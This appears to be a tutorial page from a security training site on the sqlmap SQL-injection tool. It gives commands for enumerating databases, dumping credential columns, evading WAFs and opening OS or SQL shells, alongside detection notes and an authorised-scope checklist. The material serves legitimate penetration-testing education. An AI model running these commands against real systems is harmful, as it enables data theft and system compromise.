Skip to content
Pwnversity
TOOL-SQLMAPintermediate · 4 min · upd. 2026-10

sqlmap

OWASP A05:2025

sqlmap automates the detection and exploitation of SQL injection. It tries multiple techniques, extracts data, and can even achieve command execution on the DBMS. It’s powerful, but understanding SQLi “by hand” helps you use it well (see SQL injection, NoSQL injection).

sqlmap is an open-source Python tool that detects and exploits SQL injections automatically. It supports the main techniques (boolean/time-based blind, error-based, UNION, stacked queries) and many DBMSs (MySQL, PostgreSQL, MSSQL, Oracle, SQLite…).

  • Confirm and classify a SQL injection.
  • Enumerate databases, tables, columns, and dump data.
  • Escalate to file read/write or an os-shell when the DBMS and privileges allow it.
Ventana de terminal
sudo apt install sqlmap # Kali/Parrot
# or from the official repository
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
python3 sqlmap/sqlmap.py --version
Ventana de terminal
# from a URL with a parameter
sqlmap -u 'https://host/item?id=1' --batch
# from a request captured in Burp (most reliable: respects cookies/headers)
sqlmap -r request.txt --batch
# specific POST, cookie, and parameter
sqlmap -u https://host/item --data='id=1' --cookie='sess=abc' -p id

--batch answers with defaults (no interaction). -p pins the parameter to test.

Progressive enumeration flow (least to most intrusive):

Ventana de terminal
sqlmap -r req.txt -p id --dbs # list databases
sqlmap -r req.txt -p id -D shop --tables # tables of a DB
sqlmap -r req.txt -p id -D shop -T users --columns
sqlmap -r req.txt -p id -D shop -T users -C user,pass --dump

Environment information:

Ventana de terminal
sqlmap -r req.txt --current-user --current-db --is-dba
sqlmap -r req.txt --banner # DBMS version

Tune depth, DBMS, and technique:

Ventana de terminal
sqlmap -r req.txt --level=5 --risk=3 # more vectors and payloads
sqlmap -r req.txt --dbms=mysql --technique=BEUST # pin engine and techniques
# B=boolean E=error U=union S=stacked T=time Q=inline

WAF evasion and system access:

Ventana de terminal
sqlmap -r req.txt --random-agent --tamper=space2comment,between
sqlmap -r req.txt --proxy=http://127.0.0.1:8080 # chain with Burp
sqlmap -r req.txt --os-shell # OS shell (if possible)
sqlmap -r req.txt --sql-shell # interactive SQL shell
flowchart TD
  A[Suspicious request] --> B[Capture with Burp -> request.txt]
  B --> C[sqlmap -r req.txt -p param]
  C --> D{Injectable}
  D -->|Yes| E[--dbs -> --tables -> --columns]
  E --> F[--dump specific data]
  D -->|WAF| G[--tamper + --random-agent]
  D -->|DBA| H[--os-shell / file read]
  • Capture the request with Burp and feed it with -r: that preserves session, headers, and method.
  • Raise --level/--risk only if nothing is detected at the default level; more risk means more load.
  • Use --flush-session to re-analyze from scratch if you changed something on the target.
  • Dump only what you need (-C, --where conditions): avoid downloading whole tables.
  • sqlmap generates a huge number of requests with recognizable payloads (quotes, SLEEP(), UNION SELECT, comments): detectable by WAFs and IDS.
  • Time-based techniques cause repeated delays in backend responses.
  • Its default User-Agent contains sqlmap; even with --random-agent, the payload pattern still gives it away.
  • Target and parameter within authorized scope.
  • Request captured with Burp and used with -r.
  • Injection confirmed before enumerating.
  • Dump limited to strictly necessary data.
  • --os-shell/write only if explicitly allowed.